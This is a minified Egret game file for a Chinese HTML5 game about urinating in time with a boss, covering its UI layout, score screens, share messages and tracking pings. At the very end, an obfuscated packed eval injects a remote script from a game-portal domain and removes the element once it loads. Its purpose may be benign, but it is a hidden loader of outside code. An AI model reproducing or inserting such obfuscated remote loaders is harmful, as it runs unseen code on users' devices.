egret.gui.Button;this.startButton.skinName=StartButtonSkin;this.startButton.scaleX=this.startButton.scaleY=this.scale;this.startButton.horizontalCenter=0;this.startButton.bottom=100+(0!=f?-40:0);this.startContentGroup.addElement(this.startButton);this.startButton.addEventListener(egret.TouchEvent.TOUCH_TAP,this.startButtonClick,this);this.endContentGroup=new egret.gui.Group;this.endContentGroup.percentWidth=100;this.endContentGroup.top=0;this.endContentGroup.bottom=0;this.endContentGroup.visible=!1;this.gameUIStage.addElement(this.endContentGroup);this.gameOverImage=new egret.gui.UIAsset;this.gameOverImage.source="gameFrameSheet.endSuccess";this.gameOverImage.horizontalCenter=0;this.gameOverImage.verticalCenter=-20+(0!=f?30:0);this.gameOverImage.scaleX=this.gameOverImage.scaleY=this.scale;this.endContentGroup.addElement(this.gameOverImage);this.uiEndPeeAsset=new egret.gui.UIAsset;this.endContentGroup.addElement(this.uiEndPeeAsset);d=RES.getRes("aniPeeSheet");e=RES.getRes("aniPeeSheetPNG");d=new egret.MovieClip(d,e);this.uiEndPeeAsset.source=d;d.frameRate=12;d.gotoAndPlay("PeeAni");d.y=-65-(0!=f?0:40);this.uiEndPeeAsset.scaleX=this.uiEndPeeAsset.scaleY=this.scale;this.resultContentGroup=new egret.gui.Group;this.resultContentGroup.percentWidth=100;this.resultContentGroup.top=10;this.resultContentGroup.visible=!1;this.gameUIStage.addElement(this.resultContentGroup);this.hLayout=new egret.gui.HorizontalLayout;this.hLayout.gap=10;this.hLayout.horizontalAlign=egret.HorizontalAlign.CENTER;this.hLayout.verticalAlign=egret.VerticalAlign.BOTTOM;this.hLayout.padding=10;this.resultContentGroup.layout=this.hLayout;this.labelLeft=new egret.gui.Label;this.labelLeft.textColor=16777215;this.labelLeft.size=26;this.labelLeft.text="";this.resultContentGroup.addElement(this.labelLeft);this.labelScore=new egret.gui.Label;this.labelScore.horizontalCenter=100;this.labelScore.textColor=16777215;this.labelScore.top=40;this.labelScore.size=90;this.labelScore.bold=!0;this.labelScore.text="Score";this.resultContentGroup.addElement(this.labelScore);this.labelRight=new egret.gui.Label;this.labelRight.textColor=16777215;this.labelRight.size=26;this.labelRight.text="";this.resultContentGroup.addElement(this.labelRight);this.labelSuccess=new egret.gui.Label;this.labelSuccess.horizontalCenter=0;this.labelSuccess.textColor=16777215;this.labelSuccess.top=135+(0!=f?-50:0);this.labelSuccess.size=26;this.labelSuccess.textAlign="center";this.labelScore.bold=!0;this.labelSuccess.text="";this.endContentGroup.addElement(this.labelSuccess);this.shareButton=new egret.gui.Button;this.shareButton.skinName=ShareButtonSkin;this.shareButton.scaleX=this.shareButton.scaleY=this.scale;this.shareButton.horizontalCenter=0;this.shareButton.bottom=80+0.25*f;this.endContentGroup.addElement(this.shareButton);this.replayButton=new egret.gui.Button;this.replayButton.skinName=ReplayButtonSkin;this.replayButton.scaleX=this.replayButton.scaleY=this.scale;this.replayButton.horizontalCenter=0;this.replayButton.bottom=80+100*this.scale+0.25*f;this.endContentGroup.addElement(this.replayButton);this.shareButton.addEventListener(egret.TouchEvent.TOUCH_TAP,this.shareButtonClick,this);this.replayButton.addEventListener(egret.TouchEvent.TOUCH_TAP,this.replayButtonClick,this);this.darkBG=new egret.gui.UIAsset;this.darkBG.source="gameFrameSheet.dark";this.darkBG.width=this.stage.stageWidth;this.darkBG.height=this.stage.stageHeight;this.endContentGroup.addElement(this.darkBG);this.shareIcon=new egret.gui.UIAsset;this.shareIcon.source="gameFrameSheet.shareIcon";this.shareIcon.horizontalCenter=0;this.shareIcon.verticalCenter=60;this.shareIcon.scaleX=this.shareIcon.scaleY=this.scale;this.endContentGroup.addElement(this.shareIcon);this.shareArrow=new egret.gui.UIAsset;this.shareArrow.source="gameFrameSheet.arrow";this.shareArrow.right=30;this.shareArrow.top=20;this.shareArrow.scaleX=this.shareIcon.scaleY=this.scale;this.endContentGroup.addElement(this.shareArrow);this.labelShare=new egret.gui.Label;this.labelShare.horizontalCenter=0;this.labelShare.verticalCenter=-80;this.labelShare.textColor=16777215;this.labelShare.size=26;this.labelShare.textAlign="center";this.labelShare.bold=!0;this.labelShare.text="\u70b9\u51fb\u53f3\u4e0a\u89d2\u5206\u4eab\n\u8ba9\u5c0f\u4f19\u4f34\u4eec\u4e5f\u6765\u62cd\u9a6cpee\uff01";this.endContentGroup.addElement(this.labelShare);this.toggleShare(!1);this.share()};b.prototype.mainAniComplete=function(d){d.playClips(d.getLabelIndex("Loop"),d.getLabelIndex("Loop"))};b.prototype.startButtonClick=function(d){this.startContentGroup.visible=!1;this.startGame()};b.prototype.shareButtonClick=function(e){dp_share();};b.prototype.replayButtonClick=function(d){this.resultContentGroup.visible=!1;this.endContentGroup.visible=!1;this.startGame()};b.prototype.startGame=function(){XActionManager.initStage(this);this.game=new InGameScene(this.stage.stageWidth,this.stage.stageHeight,this.gameOver,this);this.addChild(this.game);(new Image).src=LOG_URL+"start"+(platform?"?platform="+platform:"")};b.prototype.gameOver=function(j,f,g){(new Image).src=LOG_URL+"finish"+(platform?"?platform="+platform:"");var i=Math.floor(f/10)/100+"",h=1.4>this.stage.stageHeight/this.stage.stageWidth?1:0;switch(g){case 4:i=-(Math.floor(f/10)/100)+"";this.shareTimelineWords="\u3010\u62cd\u9a6cpee\u3011\u54e6\u6cd5\u514b\uff0c\u6bd4\u8001\u677f\u5c3f\u5feb\u4e86"+i+"\u79d2\uff0c\u8001\u677f\u5bf9\u6211\u5f88\u4e0d\u723d\uff01";this.shareFriendWords="\u54e6\u6cd5\u514b\uff0c\u6bd4\u8001\u677f\u5c3f\u5feb\u4e86"+i+"\u79d2\uff0c\u8001\u677f\u5bf9\u6211\u5f88\u4e0d\u723d\uff01";this.labelLeft.text="\u6bd4\u8001\u677f\u5feb";this.labelRight.text="\u79d2";this.labelSuccess.top=135;this.labelScore.text=i;dp_submitScore(i);this.labelSuccess.text="\u7adf\u6562\u6bd4\u8001\u677f\u5c3f\u7684\u8fd8\u5feb\uff1f\u4e0d\u60f3\u6df7\u4e86\u4e48\uff01";break;case 0:this.shareTimelineWords="\u3010\u62cd\u9a6cpee\u3011\u54e5\u51ed\u51fa\u8272\u7684\u63a7\u5236\u529b\uff0c\u5c3f\u7684\u521a\u597d\u6bd4\u8001\u677f\u6162\u4e86"+i+"\u79d2";this.shareFriendWords="\u54e5\u51ed\u51fa\u8272\u7684\u63a7\u5236\u529b\uff0c\u5c3f\u7684\u521a\u597d\u6bd4\u8001\u677f\u6162\u4e86"+i+"\u79d2";this.labelLeft.text="\u521a\u597d\u6bd4\u8001\u677f\u6162\u4e86";this.labelRight.text="\u79d2";this.labelSuccess.top=135;this.labelScore.text=i;this.labelSuccess.text="\u63a7\u5236\u529b\u60ca\u4eba\uff0c\u8001\u677f\u5bf9\u4f60\u7070\u5e38\u6ee1\u610f\u5440\uff01";break;case 1:this.shareTimelineWords="\u3010\u62cd\u9a6cpee\u3011\u5dee\u70b9\u6ca1\u63a7\u5236\u4f4f\uff0c\u4e0d\u8fc7\u603b\u7b97\u6210\u529f\u6bd4\u8001\u677f\u6162\u4e86"+i+"\u79d2";this.shareFriendWords="\u5dee\u70b9\u6ca1\u63a7\u5236\u4f4f\uff0c\u4e0d\u8fc7\u603b\u7b97\u6210\u529f\u6bd4\u8001\u677f\u6162\u4e86"+i+"\u79d2";this.labelLeft.text="\u6bd4\u8001\u677f\u6162\u4e86";this.labelRight.text="\u79d2";this.labelScore.text=i;this.labelSuccess.top=135;this.labelSuccess.text="\u597d\u9669\uff0c\u5dee\u4e00\u70b9\u5c31\u9732\u9985\u4e86\n\u63a7\u5236\u529b\u548c\u9a6c\u5c41\u6280\u672f\u90fd\u6709\u5f85\u63d0\u9ad8\u5440";break;case 5:this.shareTimelineWords="\u3010\u62cd\u9a6cpee\u3011\u5509\uff0c\u6bd4\u8001\u677f\u6162\u4e86"+i+"\u79d2\uff0c\u9a6c\u5c41\u62cd\u8fc7\u5934\u9732\u9985\u4e86\uff01";this.shareFriendWords="\u5509\uff0c\u6bd4\u8001\u677f\u6162\u4e86"+i+"\u79d2\uff0c\u9a6c\u5c41\u62cd\u8fc7\u5934\u9732\u9985\u4e86\uff01";this.labelLeft.text="\u6bd4\u8001\u677f\u6162\u4e86";this.labelRight.text="\u79d2\u4e4b\u4e45";this.labelScore.text=i;this.labelSuccess.top=135;this.labelSuccess.text="\u54c7\u9760\u592a\u5047\u4e86\uff0c\u8001\u677f\u89c9\u5f97\u5f88\u6ca1\u9762\u5b50\uff01";break;case 2:this.shareTimelineWords="\u3010\u62cd\u9a6cpee\u3011\u770b\u5230\u8001\u677f\u5c31\u5c3f\u4e0d\u7c97\u6765\uff0c\u8fd9\u662f\u4e00\u79cd\u75c5\u5417\uff1f\uff01";this.shareFriendWords="\u770b\u5230\u8001\u677f\u5c31\u5c3f\u4e0d\u7c97\u6765\uff0c\u8fd9\u662f\u4e00\u79cd\u75c5\u5417\uff1f\uff01";this.labelLeft.text="";this.labelRight.text="";this.labelScore.text="";this.labelSuccess.top=135+(0!=h?-50:0);this.labelSuccess.text="\u770b\u5230\u8001\u677f\u5c31\u5c3f\u4e0d\u7c97\u6765\u4e86\uff1f\n\u8fd8\u9700\u52a0\u5f3a\u953b\u70bc\u505a\u5230\u6536\u653e\u81ea\u5982\u5440\uff01";break;case 3:this.shareTimelineWords="\u3010\u62cd\u9a6cpee\u3011\u5c3f\u5230\u4e00\u534a\u621b\u7136\u800c\u6b62\uff0c\u8001\u677f\u770b\u6211\u7684\u773c\u795e\u4e5f\u590d\u6742\u8d77\u6765",this.shareFriendWords="\u5c3f\u5230\u4e00\u534a\u621b\u7136\u800c\u6b62\uff0c\u8001\u677f\u770b\u6211\u7684\u773c\u795e\u4e5f\u590d\u6742\u8d77\u6765",this.labelLeft.text="",this.labelRight.text="",this.labelScore.text="",this.labelSuccess.top=135+(0!=h?-50:0),this.labelSuccess.text="\u5c3f\u5230\u4e00\u534a\u621b\u7136\u800c\u6b62\uff0c\n\u8001\u677f\u5bf9\u4f60\u9732\u51fa\u4e86\u610f\u5473\u6df1\u957f\u7684\u773c\u795e\u2026\u2026"}this.removeChild(this.game);this.finalWords=void 0;j?(this.gameOverImage.source="gameFrameSheet.endSuccess",this.uiEndPeeAsset.horizontalCenter=60*this.scale,this.uiEndPeeAsset.verticalCenter=190*this.scale):(this.gameOverImage.source="gameFrameSheet.endFailed",this.uiEndPeeAsset.horizontalCenter=80*this.scale,this.uiEndPeeAsset.verticalCenter=192*this.scale);this.resultContentGroup.visible=!0;this.endContentGroup.visible=!0;this.docTitle=this.shareTimelineWords;};b.prototype.toggleShare=function(d){this.darkBG.visible=d;this.shareArrow.visible=d;this.shareIcon.visible=d;this.labelShare.visible=d};b.prototype.rand=function(e,d){return Math.floor(Math.random()*(d-e)+e)};b.prototype.createBitmapByName=function(e){var d=new egret.Bitmap;d.texture=RES.getRes(e);return d};return b}(egret.DisplayObjectContainer);GameApp.prototype.__class__="GameApp";
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|function|var|document|script|parentNode|http|com|9g|game|||javascript|text|type|src|true|async|onload|insertBefore|js|removeChild|pmp|getElementsByTagName||createElement'.split('|'),0,{}))